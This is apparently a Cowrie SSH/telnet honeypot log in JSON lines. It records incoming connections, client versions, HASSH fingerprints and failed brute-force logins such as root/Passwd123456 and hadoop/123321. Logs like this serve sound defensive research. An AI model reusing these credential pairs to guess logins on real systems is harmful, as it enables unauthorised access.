{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:21.188314Z","src_ip":"201.222.20.20","session":"6d0255660214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passwd123456","message":"login attempt [root/Passwd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:21.700933Z","src_ip":"201.222.20.20","session":"6d0255660214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:22.823817Z","src_ip":"201.222.20.20","session":"6d0255660214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:24.378060Z","src_ip":"8.210.75.243","session":"d123e5d95e3d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:28.199942Z","src_ip":"14.29.214.161","session":"66f2a3892439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.22.174","src_port":56794,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca5a7c7b06c2","protocol":"ssh","message":"New connection: 162.214.22.174:56794 (10.17.0.5:22) [session: ca5a7c7b06c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:30.550212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:30.554245Z","src_ip":"162.214.22.174","session":"ca5a7c7b06c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:30.645883Z","src_ip":"162.214.22.174","session":"ca5a7c7b06c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"estonia","password":"Tallinn#Crypto$S3cur3!","message":"login attempt [estonia/Tallinn#Crypto$S3cur3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:30.914323Z","src_ip":"162.214.22.174","session":"ca5a7c7b06c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.29.214.161","src_port":35148,"dst_ip":"10.17.0.5","dst_port":22,"session":"a996a0345ecd","protocol":"ssh","message":"New connection: 14.29.214.161:35148 (10.17.0.5:22) [session: a996a0345ecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:40.531328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:40.535697Z","src_ip":"14.29.214.161","session":"a996a0345ecd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:40.767512Z","src_ip":"14.29.214.161","session":"a996a0345ecd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcv","message":"login attempt [root/Zxcv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:41.719805Z","src_ip":"14.29.214.161","session":"a996a0345ecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:42.946050Z","src_ip":"14.29.214.161","session":"a996a0345ecd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.541523456573486,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:47.197224Z","src_ip":"170.64.224.25","session":"77ab04668bee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":9178,"dst_ip":"159.203.135.109","dst_port":22,"session":"d51030eb05ac","protocol":"ssh","message":"New connection: 38.93.206.2:9178 (159.203.135.109:22) [session: d51030eb05ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:49.033231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:49.039290Z","src_ip":"38.93.206.2","session":"d51030eb05ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:49.089706Z","src_ip":"38.93.206.2","session":"d51030eb05ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345ndby","message":"login attempt [root/12345ndby] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:49.243109Z","src_ip":"38.93.206.2","session":"d51030eb05ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:50.318521Z","src_ip":"38.93.206.2","session":"d51030eb05ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.25438904762268,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:32:55.586639Z","src_ip":"170.64.224.25","session":"ba8cdfdfcc10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50870,"dst_ip":"159.203.135.109","dst_port":23,"session":"db7d6ffbc295","protocol":"telnet","message":"New connection: 170.64.224.25:50870 (159.203.135.109:23) [session: db7d6ffbc295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:00.697437Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56532,"dst_ip":"10.17.0.5","dst_port":22,"session":"b31895b36366","protocol":"ssh","message":"New connection: 8.210.75.243:56532 (10.17.0.5:22) [session: b31895b36366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:01.015181Z"}
{"eventid":"cowrie.session.closed","duration":"38.5","message":"Connection lost after 38.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:09.090999Z","src_ip":"162.214.22.174","session":"ca5a7c7b06c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":36820,"dst_ip":"10.17.0.5","dst_port":22,"session":"2687a1d107be","protocol":"ssh","message":"New connection: 91.92.40.4:36820 (10.17.0.5:22) [session: 2687a1d107be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:15.248677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:15.252005Z","src_ip":"91.92.40.4","session":"2687a1d107be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:15.338604Z","src_ip":"91.92.40.4","session":"2687a1d107be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123321","message":"login attempt [hadoop/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:15.639842Z","src_ip":"91.92.40.4","session":"2687a1d107be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:16.726500Z","src_ip":"91.92.40.4","session":"2687a1d107be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40402,"dst_ip":"10.17.0.5","dst_port":22,"session":"90846c70edc5","protocol":"ssh","message":"New connection: 8.210.75.243:40402 (10.17.0.5:22) [session: 90846c70edc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:21.497369Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":40374,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4c805e166f2","protocol":"ssh","message":"New connection: 159.65.58.200:40374 (159.203.135.109:22) [session: a4c805e166f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:25.194301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:25.394294Z","src_ip":"159.65.58.200","session":"a4c805e166f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:25.397257Z","src_ip":"159.65.58.200","session":"a4c805e166f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"safronov","password":"123456","message":"login attempt [safronov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:26.423324Z","src_ip":"159.65.58.200","session":"a4c805e166f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:27.721952Z","src_ip":"159.65.58.200","session":"a4c805e166f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.203.251.187","src_port":44758,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ba6ada17a02","protocol":"ssh","message":"New connection: 119.203.251.187:44758 (10.17.0.5:22) [session: 6ba6ada17a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:32.473948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:32.477428Z","src_ip":"119.203.251.187","session":"6ba6ada17a02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:32.678452Z","src_ip":"119.203.251.187","session":"6ba6ada17a02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AB1234","message":"login attempt [root/AB1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:33.517570Z","src_ip":"119.203.251.187","session":"6ba6ada17a02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:34.722251Z","src_ip":"119.203.251.187","session":"6ba6ada17a02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":52504,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce7f0ff30c71","protocol":"ssh","message":"New connection: 8.210.75.243:52504 (10.17.0.5:22) [session: ce7f0ff30c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:43.464017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:45.458056Z","src_ip":"8.210.75.243","session":"ce7f0ff30c71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:47.233536Z","src_ip":"8.210.75.243","session":"ce7f0ff30c71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:47.435707Z","src_ip":"8.210.75.243","session":"a80527f31632","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.152.168.184","src_port":44250,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2a8bd19613f","protocol":"ssh","message":"New connection: 59.152.168.184:44250 (159.203.135.109:22) [session: a2a8bd19613f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:33:47.513999Z"}
